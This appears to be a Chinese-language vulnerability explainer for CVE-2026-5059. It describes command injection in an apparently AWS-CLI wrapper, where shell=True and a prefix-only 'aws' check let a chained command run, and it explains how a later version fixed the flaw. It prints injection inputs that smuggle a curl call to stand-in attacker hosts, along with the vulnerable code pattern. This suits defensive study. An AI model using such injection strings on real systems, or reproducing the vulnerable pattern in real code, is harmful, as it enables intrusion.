CVE-2026-5059 在代码中的什么位置? 该漏洞存在于协同工作的两个文件中:
文件 1:tools.py — 根本原因 旧版本在 execute_piped_command() 中使用了 shell=True: python# 旧版易受攻击的代码 process = subprocess.run( command, # ← 原始字符串传递给 shell shell=True, # ← 这就是问题所在 ... ) 当 shell=True 时,操作系统 shell 会解释整个字符串,包括 ;、&&、||、反引号 — 因此 ; 之后的任何内容都会作为单独的命令执行。
文件 2:security.py — 不完整的防护 验证器仅检查命令是否以 aws 开头: python# 旧版易受攻击的代码 def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("必须以 aws 开头") # ← 到此为止,未检查管道之后的内容 因此 aws s3 ls ; curl http://attacker.com 通过了验证 — 以 aws 开头 — 然后 shell=True 执行了这两部分。
为什么当前版本(v1.7.0)有所不同 查看今天的实际代码,这两个问题都已消失: python# cli_executor.py 中的当前代码 cmd_parts = shlex.split(command) # 拆分为列表 subprocess.run(cmd_parts, shell=False) # 基于列表,无 shell 解释 而 security.py 已被完全删除 — 由操作系统沙箱(Landlock/bwrap/Seatbelt)取代。 现在 ; 已无害: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess 将 ';' 作为 aws 的字面参数接收 → AWS CLI 忽略它,不会执行第二个命令
一句话总结 易受攻击的版本当前 v1.7.0执行方式shell=True + 字符串shell=False + 列表验证仅 startswith("aws")操作系统级沙箱;处理方式由 shell 执行视为字面文本 该 CVE 是针对旧版本提交的。ZDI 将其发布为 0-day,因为供应商拒绝了该报告 — 但在 CVE 发布之前,架构已经脱离了 shell=True。